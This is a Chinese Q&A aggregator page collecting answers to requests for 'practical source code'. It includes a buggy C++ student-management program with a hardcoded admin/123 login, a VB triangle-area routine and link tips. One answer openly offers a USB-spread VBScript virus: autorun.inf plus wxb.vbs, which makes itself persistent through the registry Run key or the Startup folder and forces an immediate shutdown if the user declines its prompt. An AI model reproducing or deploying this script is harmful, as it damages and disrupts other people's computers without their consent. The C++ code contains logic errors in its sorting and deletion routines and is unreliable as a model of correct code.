当前位置:首页 » 操作系统 » 实用源码

实用源码

发布时间: 2022-08-08 10:19:43

❶ 求C++各种平台实用源代码,求各位大神帮下忙。

// 项目三—学员管理系统.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<string.h>
#include<windows.h>
int k=0;
struct Student
{
int no;
char name[20];
float score[3];
float avg;
float sum;
}stu[100],shuchu[100];

void print(int a); //输出函数
void menu(); //目录
void one(); //选择一
void two(); //选择二
void three(Student stu1[]); //选择三
void fore(); //选择四
void five(); //选择五
void six(); //选择六
void sever(); //选择七
void eight(); //选择八
void nine(); //选择九
void xuanzhe(int a); //选择函数
int chongfu(Student stu[],int a); //判断学号是否重复
int PDmingzi(Student st[],int num); //判断名字是否合法
void fanhui(); //是否返回主菜单
void fu(Student a[],int num);
int _tmain(int argc, _TCHAR* argv[])
{
//登陆模板
char user[20];
char passwork[20];
int count=0;
while (count<3)
{
printf("\n\n\t\t请输入用户名:");
gets_s(user);
printf("\t\t请输入密码:");
gets_s(passwork);
if(strcmp(user,"admin")==0&&strcmp(passwork,"123")==0)
{
system("cls");
printf("\n\n\t\t登陆成功");
Sleep(500);printf(">");Sleep(500);printf(">");Sleep(450);printf(">");Sleep(450);printf(">");
Sleep(400);printf(">");Sleep(400);printf(">");Sleep(350);Sleep(350);printf(">");Sleep(300);
printf(">");
menu();//调用菜单函数
break;

}
else
{
if (count==2)
{
printf("\t提示:您输入用户和密码错误次数过多,请稍后再试!\n");
system("cls");
break;
}
else
{
printf("\n\n\t\t登陆失败!请重新输入!\n");
}
count++;
system("cls");
}
}

return 0;
}
//菜单
void menu()
{
system("cls");
int count=0;
while(count<3)
{
printf("\n\t\t学 员 管 理 系 统 平 台\n");
printf("---------------------------------\n");
printf("\t◎功能菜单:\n");
printf("\n\t\t-----------------------------\n");
Sleep(50);
printf("\t\t1、单个学员的信息循环录入\n");
printf("\t\t------------------------------\n");
printf("\t\t2、显示所有学员的信息\n");
printf("\t\t------------------------------\n");
printf("\t\t3、排序显示所有学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t4、插入单个学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t5、删除单个学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t6、查找单个学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t7、读取所有学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t8、保存所有学员信息\n");
printf("\t\t------------------------------\n");
printf("\t\t9、退出程序\n");
printf("\t\t------------------------------\n");
printf("请选择:");
char a;
int b;
fflush(stdin);
a=getchar();
if (a>=(1+'0')&&a<=(9+'0'))
{
b=(int)a-'0';
xuanzhe(b);
}
else
{
count++;
if (count==2)
{
system("cls");
printf("错误次数过多!");
break;
}
}
}
}
//选择
void xuanzhe(int a)//选择
{
switch (a)
{
case 1:
system("cls");
one();
break;
case 2:
system("cls");
two();
break;
case 3:
system("cls");
three(stu);
fanhui();
break;
case 4:
system("cls");
fore();
break;
case 5:
system("cls");
five();
break;
case 6:
system("cls");
six();
fanhui();
break;
case 7:
system("cls");
sever();
break;
case 8:
system("cls");
eight();
break;
case 9:
system("cls");
nine();
break;
default:
break;
}
}
//1
void one()
{
char s;
printf("1、单个成绩循环录入:\n");
while (true)//接收输入的
{

while(true)
{
printf("学号:");
scanf_s("%d",&stu[k].no);
if (chongfu(stu,k))
{
printf("学号重复请重新输入!\n");
}
else
{
break;
}
}
while (true)
{
printf("姓名:");
fflush(stdin);
gets_s(stu[k].name);
int a=strlen(stu[k].name);
if (a==0)
{
printf("提示:名字不能为空,请重新输入!\n");
}
else if(PDmingzi(stu,a))
{
printf("提示:名字不能为数字,请重新输入!\n");
}
else
{
break;
}
}

for (int i = 0; i < 3; i++)
{
printf("成绩%d:",i+1);
scanf_s("%f",&stu[k].score[i]);
if (!(stu[k].score[i]<=100&&stu[k].score[i]>=0))
{
i--;
printf("输入有误!!请重新输入\n");
continue;
}
}
stu[k].sum=stu[k].score[0]+stu[k].score[1]+stu[k].score[2];
stu[k].avg=stu[k].sum/3.0;
while (true)
{
printf("是否继续录入Y/N?");
fflush(stdin);
s=getchar();
if (s=='N'||s=='n')
{
fu(stu,k);
print(k);
printf("是否返回主菜单(Y/N):");
char a;
fflush(stdin);
a=getchar();
if (a=='y'||a=='Y')
{
menu();
}
}
else if (s=='y'||s=='Y')
{
break;

}
else
{
printf("你的输入有误!请重新输入!\n");
}
}
k++;
}
}
//读正输入的
void print(int a)
{
printf("学号\t姓名\t成绩一\t成绩二\t成绩三\t总成绩\t平均分\n");
for (int i = 0; i <=a ; i++)
{
printf("%d\t%s\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\n",shuchu[i].no,shuchu[i].name,shuchu[i].score[0],shuchu[i].score[1],shuchu[i].score[2],shuchu[i].sum,shuchu[i].avg);
}
}
void two()
{
printf("学员信息:\n");
fu(stu,k);
print(k);
fanhui();
}
void three(Student stu1[])
{
//根据平均分降排序所有学员信息
for (int i = 0; i <k ; i++)
{
for (int j = 0; j < k-i; j++)
{
if (stu1[j].avg<stu[j+1].avg)
{
Student temp;
temp=stu1[j];
stu1[j]=stu1[j+1];
stu1[j+1]=temp;
}
}
}
fu(stu1,k);
print(k);
}
void fore()
{
three(stu);

printf("1、插入单个学生信息:\n");
while (true)//接收输入的
{
if (k>0)
k++;
while(true)
{
printf("学号:");
scanf_s("%d",&stu[k].no);
if (chongfu(stu,k))
{
printf("学号重复请重新输入!\n");
}
else
{
break;
}
}
while (true)
{
printf("姓名:");
fflush(stdin);
gets_s(stu[k].name);
int a=strlen(stu[k].name);
if (a==0)
{
printf("提示:名字不能为空,请重新输入!\n");
}
else if(PDmingzi(stu,a))
{
printf("提示:名字不能为数字,请重新输入!\n");
}
else
{
break;
}
}

for (int i = 0; i < 3; i++)
{
printf("成绩%d:",i+1);
scanf_s("%f",&stu[k].score[i]);
if (!(stu[k].score[i]<=100&&stu[k].score[i]>=0))
{
i--;
printf("输入有误!!请重新输入\n");
continue;
}
}
stu[k].sum=stu[k].score[0]+stu[k].score[1]+stu[k].score[2];
stu[k].avg=stu[k].sum/3.0;
char s;
while (true)
{
printf("是否继续插入Y/N?");
fflush(stdin);
s=getchar();
if (s=='N'||s=='n')
{
system("cls");
fanhui();
}
else if (s=='y'||s=='Y')
{
break;

}
else
{
printf("你的输入有误!请重新输入!\n");
}
}
}

}
void five()
{
//删除单个学员的信息
print(k);
printf("请输入要删除的学员信息的学号:");
int num;
scanf_s("%d",&num);
int i;
for ( i= 0; i <= k; i++)
{
if (stu[i].no==num)
{
break;
}
}
for (int j = i; j <= k; j++)
{
stu[i]=stu[i+1];
}
k-=1;
fanhui();
}
void six()
{
Student a[1];
while (true)
{
printf("请输入要查找的学员信息的学号:");
int num;
scanf_s("%d",&num);
int i;
for ( i= 0; i <= k; i++)
{
if (stu[i].no==num)
{
a[0]=stu[i];
fu(a,0);
print(0);
}
}

}

}
void sever()
{
FILE *p;
fopen_s(&p,"d:\\项目三存储.txt","rb");
if (p!=NULL)
{
int n=fread(stu,sizeof(struct Student),100,p);
if (k==0)
{
k=n-1;
}

}
fclose(p);
}
void eight()
{
FILE *fp;
fopen_s(&fp,"d:\\项目三存储.txt","wb");
fwrite(&stu,sizeof(struct Student),k+1,fp);
fflush(fp);
fclose(fp);
printf("保存成功!\n");
fanhui();
}
void nine()
{
exit(1);
}
int chongfu(Student stu[],int a)
{
for (int i = 0; i < a; i++)
{
if (stu[a].no==stu[i].no)
{
return 1;
}
}
return 0;
}
int PDmingzi(Student st[],int num)
{
for (int i = 0; i <= num; i++)
{
if(st[k].name[i]>='0'&&st[k].name[i]<='9')
{
return 1;
}
}
return 0;
}
void fu(Student a[],int num)
{
for (int i = 0; i <= num; i++)
{
shuchu[i]=a[i];
}
}
void fanhui()
{

printf("是否返回主菜单(Y/N):");
char a;
fflush(stdin);
a=getchar();
if (a=='y'||a=='Y')
{
menu();
}

}

❷ 哪里可以找到C语言一些经典的源码

如果你没接触过系统内核开发,强烈建议您不要立马去看Unix或Linux源码,直接看源代码基本没有用处——无非是一大堆的C和少量的汇编!

如果您已经对C语言有所掌握,您会发现C语言本身的语法很简单,确实很简单!因此想进一步提高应当把精力放在练习“算法”上,先学习如果处理常见数据结构和常见算法,再试着编写一些实用的程序。

注意:我指的是“ANSI标准C”,而不是VC、MFC C++。

❸ 求Dreamweaver MX2004实用源代码

这里有很多 相关代码

http://www.jsweb8.cn/html/js_img/783.htm

❹ 求精彩实用网源码

非要这个吗,你可以下载好123的,还有114啦的,都是很不错的源码!!!

❺ 实用简单的旅游网站程序源码

很多的 随便搜一下 都是大把的

❻ 求 一套简单实用的php企业源码!

drupal,很轻松实现你想要的功能。
drupal开源第一。搜下便知。名气极大。

drupal学会了,再找第三方的插件。

各类型的网站,几乎都可以做的。新闻类的更简单。你试下就知道了。
http://drupalchina.org/forum

❼ 小程序,小病毒或者实用的源代码

新建一个autorun.inf文件
内容为
[autorun]
ShellExecute=wxb.vbs
新建一个wxb.vbs 文件
内容为
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if

end if

sub Show_And_Do(s)
dim f
r = MsgBox ("警告:您未经允许使用了小波的移动设备! " & Chr(13) & Chr(10) & "确定->我下次会先征得小波允许" & Chr(10) & "取消->我才不管他呢", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if

Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

以上两个文件同时放到磁盘根目录下面(移动盘也可),打开该盘时,会出现一个对话框,要求选择.你可以把代码中的 小波 改成你自己的名字.

❽ vb实用小程序源代码

Private Sub mianji()
Dim a As Single, b As Single, c As Single
a = Val(InputBox("请输入三角形的边a:", "输入"))
b = Val(InputBox("请输入三角形的边b:", "输入"))
c = Val(InputBox("请输入三角形的边c:", "输入"))

If (a + b) <= c Or b + c <=a Or a + c <= b Then
MsgBox "三条边不能构成三角形,请重新输入!", , "注意"
Exit Sub
End If
q = (a + b + c) / 2
s = Sqr(q * (q - a) * (q - b) * (q - c))
Print "三角形的面积是: "; s
End Sub

这个是由键盘输入3个数,试编程判断它们是否可以构成一个三角形。如果能构成一个三角形,请计算该三角形的面积。

❾ 求实用的免费企业网站源码下载地址

网络一下,免费源码下载,应该能找到很多,好用的应该很难找,可以用dedecms和帝国这种,也是不要钱的

热点内容
adbandroid版本 发布:2025-01-16 13:53:14 浏览:387
直链云存储 发布:2025-01-16 13:19:30 浏览:727
电脑主机服务器多少钱 发布:2025-01-16 13:00:28 浏览:668
linuxoracle操作 发布:2025-01-16 12:40:50 浏览:47
河北存储服务价格 发布:2025-01-16 12:39:21 浏览:351
挂机服务器的搭建 发布:2025-01-16 12:34:07 浏览:417
安卓怎么删除信任凭证 发布:2025-01-16 12:22:06 浏览:338
代理编译 发布:2025-01-16 12:07:59 浏览:794
服务器为什么老是无响应 发布:2025-01-16 12:07:59 浏览:894
安卓怎么传软件到苹果 发布:2025-01-16 12:01:28 浏览:959